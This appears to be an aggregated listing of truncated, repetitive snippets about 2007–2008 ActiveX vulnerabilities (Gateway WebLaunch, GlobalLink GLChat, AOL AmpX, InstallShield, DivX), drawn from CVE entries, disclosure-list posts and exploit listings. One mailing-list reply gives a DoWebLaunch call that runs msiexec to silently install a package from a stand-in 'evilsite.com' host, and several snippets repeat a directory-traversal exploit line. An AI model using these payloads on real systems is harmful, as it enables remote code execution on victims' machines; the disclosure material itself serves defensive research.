CVE-2008-0221

Directory traversal vulnerability in the WebLaunch.WeblaunchCtl.1 aka CWebLaunchCtl ActiveX control in weblaunch.ocx 1.0.0.1 in Gateway Weblaunch allows remote attackers to execute arbitrary programs via a ..\ dot dot backslash in the second argument to the DoWebLaunch method. NOTE: some of these...

CVE-2007-6250

Stack-based buffer overflow in AOL AOLMediaPlaybackControl AOLMediaPlaybackControl.exe, as used by AmpX ActiveX control AmpX.dll, might allow remote attackers to execute arbitrary code via the AppendFileToPlayList method...

Re: [Full-disclosure] Gateway WebLaunch ActiveX Control Insecure Method

I was playing with this a bit more. Everybody has the Windows Installer installed, right? How about this: obj.DoWebLaunch"","........windowssystem32msiexec.exe", "","/i http://www.evilsite.com/evilapp.msi /quiet"; Elazar On Tue, 08 Jan 2008 20:08:53 -0500 [email protected] wrote: The DoWebLaunc...

GlobalLink GLChat.ocx 2.5.1 - ActiveX Control ChatRoom() Remote Buffer Overflow

GlobalLink GLChat.ocx 2.5.1 - ActiveX Control ChatRoom Remote Buffer Overflow source: https://www.securityfocus.com/bid/27393/info GlobalLink 'GLChat.ocx' ActiveX control is prone to a buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it int...

CVE-2007-6250: Improper Restriction of Operations within the Bounds of a Memory Buffer

Stack-based buffer overflow in AOL AOLMediaPlaybackControl AOLMediaPlaybackControl.exe, as used by AmpX ActiveX control AmpX.dll, might allow remote attackers to execute arbitrary code via the AppendFileToPlayList method...

weblaunch-insecure.txt

Gateway Weblaunch ActiveX Control Insecure Method Exploit function Check //escape from systemdrive\documents and settings\username\local settings\temp obj.DoWebLaunch"","..\..\..\..\windows\system32\calc.exe","",""; Unable to create object...

[Full-disclosure] Gateway WebLaunch ActiveX Control Insecure Method

The DoWebLaunch method of the Gateway WebLauncher ActiveX control allows for the execution or arbitrary application on a system, additionally this method is vulnerable to a buffer overflow in the 2nd and 4th parameters. Both weblaunch.ocx and weblaunch2.ocx allow the execution of arbitrary files,...

GlobalLink 'GLChat.ocx' 2.5.1 - ActiveX Control 'ChatRoom()' Remote Buffer Overflow

source: https://www.securityfocus.com/bid/27393/info GlobalLink 'GLChat.ocx' ActiveX control is prone to a buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. Successfully exploiting this issue...

Gateway Weblaunch - ActiveX Control Insecure Method

Gateway Weblaunch - ActiveX Control Insecure Method Gateway Weblaunch ActiveX Control Insecure Method Exploit function Check //escape from systemdrive\documents and settings\username\local settings\temp obj.DoWebLaunch"","..\..\..\..\windows\system32\calc.exe","",""; Unable to create object...

Gateway CWebLaunchCtl ActiveX control buffer overflow

Overview The Gateway CWebLaunchCtl ActiveX control contains a buffer overflow, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable sytem. Description The Gateway Computers CWebLaunchCtlActiveX control, which is provided by weblaunch.ocx and weblaunch2.ocx,...

Gateway Weblaunch ActiveX Control Insecure Method Exploit

Exploit for unknown platform in category remote exploits ========================================================= Gateway Weblaunch ActiveX Control Insecure Method Exploit ========================================================= Gateway Weblaunch ActiveX Control Insecure Method Exploit function...

Gateway Weblaunch - ActiveX Control Insecure Method

Gateway Weblaunch ActiveX Control Insecure Method Exploit function Check //escape from systemdrive\documents and settings\username\local settings\temp obj.DoWebLaunch"","..\..\..\..\windows\system32\calc.exe","",""; Unable to create object milw0rm.com 2008-01-08...

AOL Radio AmpX ActiveX Control Buffer Overflow (CVE-2007-5755)

AOL Radio is a free online radio service provided by America Online. Multiple buffer overflow vulnerabilities exist in AOL Radio. These vulnerabilities are due to boundary errors in the AOL Radio AmpX ActiveX Control. To trigger this issue, an attacker may create a malicious web page that will...

Buffer overflow

Buffer overflow in a certain ActiveX control in Macrovision InstallShield Update Service Web Agent 5.1.100.47363 allows remote attackers to execute arbitrary code via a long string in the ProductCode argument second argument to the DownloadAndExecute method, a different vulnerability than...

CVE-2007-6654

Buffer overflow in a certain ActiveX control in Macrovision InstallShield Update Service Web Agent 5.1.100.47363 allows remote attackers to execute arbitrary code via a long string in the ProductCode argument second argument to the DownloadAndExecute method, a different vulnerability than...

CVE-2007-6654

CVE-2007-6654 is a buffer overflow in Macrovision InstallShield Update Service Web Agent 5.1.100.47363, affecting its ActiveX control. A remote attacker can execute arbitrary code by passing a long ProductCode string as the second argument to the DownloadAndExecute method. This entry is distinct ...

Stack overflow

A certain ActiveX control in npUpload.dll in DivX Player 6.6.0 allows remote attackers to cause a denial of service Internet Explorer 7 crash via a long argument to the SetPassword method...

CVE-2008-0090

A certain ActiveX control in npUpload.dll in DivX Player 6.6.0 allows remote attackers to cause a denial of service Internet Explorer 7 crash via a long argument to the SetPassword method...

CVE-2008-0090

A certain ActiveX control in npUpload.dll in DivX Player 6.6.0 allows remote attackers to cause a denial of service Internet Explorer 7 crash via a long argument to the SetPassword method...

CVE-2008-0090

The CVE-2008-0090 issue affects DivX Player 6.6.0 through the ActiveX control npUpload.dll. The vulnerability is triggered in the SetPassword method by a long argument, leading to a denial of service (Internet Explorer 7 crash). The connected documents consistently describe this DoS scenario with...